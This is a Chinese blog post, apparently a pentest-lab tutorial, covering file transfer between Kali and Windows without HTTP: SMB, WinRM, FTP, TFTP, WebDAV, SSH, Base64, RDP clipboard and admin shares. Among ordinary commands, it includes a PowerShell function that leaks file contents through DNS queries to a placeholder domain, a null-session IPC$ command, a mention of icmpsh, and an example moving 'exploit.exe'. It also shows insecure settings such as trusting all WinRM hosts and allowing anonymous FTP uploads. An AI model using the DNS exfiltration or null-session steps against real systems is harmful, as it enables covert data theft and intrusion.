当前位置: 首页 > news >正文

无HTTP服务时的文件传输方法大全

无HTTP服务时的文件传输方法大全

之前我的博文介绍的是在一个前提下(http服务器)可以传输文件的情况,当无法启动HTTP服务时,有多种替代方法可以在系统间传输文件:

1. SMB共享传输

在Kali上启动SMB共享

# 安装samba(如果未安装)
sudo apt update && sudo apt install samba -y# 创建共享目录
mkdir /home/kali/shared
chmod 777 /home/kali/shared# 编辑samba配置
sudo nano /etc/samba/smb.conf# 在文件末尾添加:
[shared]path = /home/kali/sharedbrowseable = yesread only = noguest ok = yescreate mask = 0777# 重启samba服务
sudo systemctl restart smbd
sudo systemctl enable smbd

从Windows连接SMB共享

# 方法1:使用net use
net use Z: \\192.168.1.30\shared /user:guest ""# 方法2:直接复制
copy C:\temp\file.txt \\192.168.1.30\shared\file.txt# 方法3:使用PowerShell
Copy-Item "C:\temp\file.txt" -Destination "\\192.168.1.30\shared\file.txt"# 方法4:映射网络驱动器
New-PSDrive -Name "K" -PSProvider "FileSystem" -Root "\\192.168.1.30\shared" -Persist

2. PowerShell远程会话 (WinRM)

启用WinRM(在目标Windows机器上)

# 启用PSRemoting
Enable-PSRemoting -Force# 设置信任所有主机(测试环境)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force# 重启WinRM服务
Restart-Service WinRM

通过PowerShell会话传输文件

# 建立远程会话
$session = New-PSSession -ComputerName 192.168.1.30 -Credential (Get-Credential)# 复制文件到远程系统
Copy-Item -Path "C:\temp\file.txt" -Destination "C:\temp\" -ToSession $session# 从远程系统复制文件
Copy-Item -Path "C:\temp\file.txt" -Destination "C:\temp\" -FromSession $session# 关闭会话
Remove-PSSession $session

3. 使用FTP传输

在Kali上启动FTP服务

# 安装vsftpd
sudo apt install vsftpd -y# 配置vsftpd
sudo nano /etc/vsftpd.conf# 修改以下配置:
anonymous_enable=YES
local_enable=YES
write_enable=YES
anon_upload_enable=YES
anon_mkdir_write_enable=YES# 重启服务
sudo systemctl restart vsftpd

PowerShell FTP客户端

function Send-FTPFile {param([string]$LocalFile,[string]$RemoteFile,[string]$FtpServer = "ftp://192.168.1.30",[string]$Username = "anonymous",[string]$Password = "")$ftp = [System.Net.FtpWebRequest]::Create("$FtpServer/$RemoteFile")$ftp.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile$ftp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password)$ftp.UseBinary = $true$fileContent = [System.IO.File]::ReadAllBytes($LocalFile)$ftp.ContentLength = $fileContent.Length$requestStream = $ftp.GetRequestStream()$requestStream.Write($fileContent, 0, $fileContent.Length)$requestStream.Close()$requestStream.Dispose()Write-Host "文件上传成功: $LocalFile -> $FtpServer/$RemoteFile"
}# 使用示例
Send-FTPFile -LocalFile "C:\temp\file.txt" -RemoteFile "uploaded_file.txt"

4. 使用TFTP传输

在Kali上启动TFTP服务

# 安装TFTP服务器
sudo apt install tftpd-hpa -y# 启动服务
sudo systemctl start tftpd-hpa

PowerShell TFTP客户端

# 需要第三方模块或自定义实现
# 安装TFTP模块
Install-Module -Name PoshTftp -Force# 使用TFTP上传文件
Send-TftpFile -ComputerName 192.168.1.30 -LocalFile "C:\temp\file.txt" -RemoteFile "file.txt"

5. 基于Base64的文本传输

将文件转换为Base64并通过其他通道传输

# 编码文件为Base64
$base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\temp\file.exe"))
$base64 | Out-File "C:\temp\file_base64.txt"# 解码Base64恢复文件
$bytes = [Convert]::FromBase64String((Get-Content "C:\temp\file_base64.txt" -Raw))
[IO.File]::WriteAllBytes("C:\temp\restored_file.exe", $bytes)

6. 使用DNS隧道传输

通过DNS查询传输小文件

# 将文件转换为十六进制并通过DNS查询发送
function Send-FileViaDNS {param([string]$File, [string]$Domain = "example.com")$bytes = [IO.File]::ReadAllBytes($File)$hex = [BitConverter]::ToString($bytes) -replace '-'# 分块发送(DNS标签限制63字符)for ($i = 0; $i -lt $hex.Length; $i += 50) {$chunk = $hex.Substring($i, [Math]::Min(50, $hex.Length - $i))Resolve-DnsName "$chunk.$Domain" -Type TXT -ErrorAction SilentlyContinueStart-Sleep -Milliseconds 100}
}

7. 使用ICMP (Ping) 隧道

通过ICMP数据包传输文件

# 需要自定义ICMP实现或使用第三方工具
# 例如使用pingtunnel或icmpsh等工具

8. 使用RDP剪贴板传输

通过RDP会话的剪贴板传输小文件

# 建立RDP连接后,可以使用剪贴板复制文件
# 这种方法适合小文件传输# 将文件内容复制到剪贴板
Get-Content "C:\temp\smallfile.txt" | Set-Clipboard# 从剪贴板获取内容并保存为文件
Get-Clipboard | Out-File "C:\temp\received_file.txt"

9. 使用Windows共享(无需配置)

利用默认的Windows管理共享

# 使用ADMIN$共享(需要管理员凭据)
Copy-Item "C:\temp\file.txt" -Destination "\\192.168.1.30\ADMIN$\temp\file.txt"# 使用C$共享
Copy-Item "C:\temp\file.txt" -Destination "\\192.168.1.30\C$\temp\file.txt"# 使用IPCS共享进行空会话(旧版本Windows)
net use \\192.168.1.30\IPC$ "" /user:""

10. 使用WebDAV共享

在Kali上配置WebDAV

# 安装Apache和WebDAV模块
sudo apt install apache2 -y
sudo a2enmod dav_fs
sudo a2enmod dav# 创建WebDAV目录
sudo mkdir /var/www/webdav
sudo chown www-data:www-data /var/www/webdav# 配置WebDAV
sudo nano /etc/apache2/sites-available/webdav.conf

PowerShell WebDAV客户端

function Copy-ToWebDAV {param([string]$LocalFile,[string]$RemoteUrl = "http://192.168.1.30/webdav/",[string]$Username,[string]$Password)$webClient = New-Object System.Net.WebClient$webClient.Credentials = New-Object System.Net.NetworkCredential($Username, $Password)$fileName = Split-Path $LocalFile -Leaf$webClient.UploadFile("$RemoteUrl/$fileName", "PUT", $LocalFile)$webClient.Dispose()
}

11. 使用SSH (当Kali作为客户端时)

如果Windows有SSH服务器

# 在Windows上启用OpenSSH服务器
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'# 从Kali连接并传输文件
# 在Kali上执行:
scp /path/to/file.txt user@192.168.1.9:C:\temp\

实用脚本:多方法传输工具

function Transfer-File {param([string]$SourceFile,[string]$Destination,[string]$Method = "SMB",[string]$RemoteHost,[string]$Username,[string]$Password)if (-not (Test-Path $SourceFile)) {Write-Error "源文件不存在: $SourceFile"return $false}switch ($Method.ToUpper()) {"SMB" {try {$destPath = "\\$RemoteHost\shared\" + (Split-Path $SourceFile -Leaf)Copy-Item $SourceFile -Destination $destPath -ForceWrite-Host "SMB传输成功" -ForegroundColor Greenreturn $true} catch {Write-Error "SMB传输失败: $($_.Exception.Message)"return $false}}"FTP" {try {Send-FTPFile -LocalFile $SourceFile -RemoteFile (Split-Path $SourceFile -Leaf) -FtpServer "ftp://$RemoteHost" -Username $Username -Password $Passwordreturn $true} catch {Write-Error "FTP传输失败: $($_.Exception.Message)"return $false}}"BASE64" {try {$base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($SourceFile))# 这里需要将base64内容通过其他方式发送到目标机器Write-Host "Base64内容已生成,长度: $($base64.Length)" -ForegroundColor Yellow$base64 | Out-File "$SourceFile.base64.txt"Write-Host "Base64内容已保存到: $SourceFile.base64.txt" -ForegroundColor Greenreturn $true} catch {Write-Error "Base64编码失败: $($_.Exception.Message)"return $false}}default {Write-Error "不支持的传输方法: $Method"return $false}}
}# 使用示例
Transfer-File -SourceFile "C:\temp\exploit.exe" -Method "SMB" -RemoteHost "192.168.1.30"

选择建议

  1. 最快最简单:SMB共享(如果网络策略允许)
  2. 最兼容:FTP(几乎所有系统都支持)
  3. 最隐蔽:Base64编码 + 其他通道
  4. 企业环境:PowerShell Remoting
  5. 小文件:RDP剪贴板或DNS隧道

根据你的具体环境和限制条件选择最合适的方法。

http://www.dtcms.com/a/568841.html

相关文章:

  • 微信注册重庆网站优化方式
  • Spring Boot Web上下文工具类详解:获取Request、Response和参数
  • php购物网站开发实例源码杭州小程序制作公司排行榜
  • 测试开发话题09---自动化测试常用函数(1)
  • Linux - Fail2ban搭配 firewallcmd-rich-rules 完整部署教程
  • 使用 nvm 安装 Node.js
  • Arbess零基础学习 - 使用Arbess+GitLab实现Node.js项目自动化构建/主机部署
  • Linux 虚拟化技术 KVM/ESXI/Docker
  • C006基于博途西门子1200PLC机械手分拣物料控制系统仿真
  • 网站建设ui设计dw怎么做别人可以看的网站
  • 毕业生就业网站开发项目禁用wordpress默认编辑器
  • 服务器数据恢复—raid5阵列硬盘离线搞崩溃,分区数据恢复案例来袭
  • 基于springboot的新闻资讯系统
  • H3C AC+AP本地转发二层组网
  • JavaEE 进阶第五期:Maven 之道,项目的依赖艺术与构建哲学
  • Linux:五种IO模型与非阻塞IO
  • unity hub在ubuntu 22.0.4上启动卡住
  • 自己做个网站需要什么网页设计尺寸用怎么量
  • 青建设厅官方网站申请域名后怎样建设网站
  • 安装Conda并配置PX4无人机仿真环境
  • 微信小程序全局配置分享功能
  • Spring Boot3零基础教程,StreamAPI 更多用法,笔记100
  • Unity UGC IDE实现深度解析(六):子图系统与模块化设计
  • 嵌入式Linux新手入门:北京迅为3568开发板驱动开发第二章helloworld 驱动实验
  • 动态背景网站邗江区做网站
  • Milvus:向现有Collections更改和添加字段(十一)
  • ESP32C3开发指南(基于IDF):console控制台命令行交互功能
  • harmonyos的鸿蒙的跳转页面的部署参数传递
  • Git 简介和基础使用
  • HarmonyOS Marquee组件深度解析:构建高性能滚动视觉效果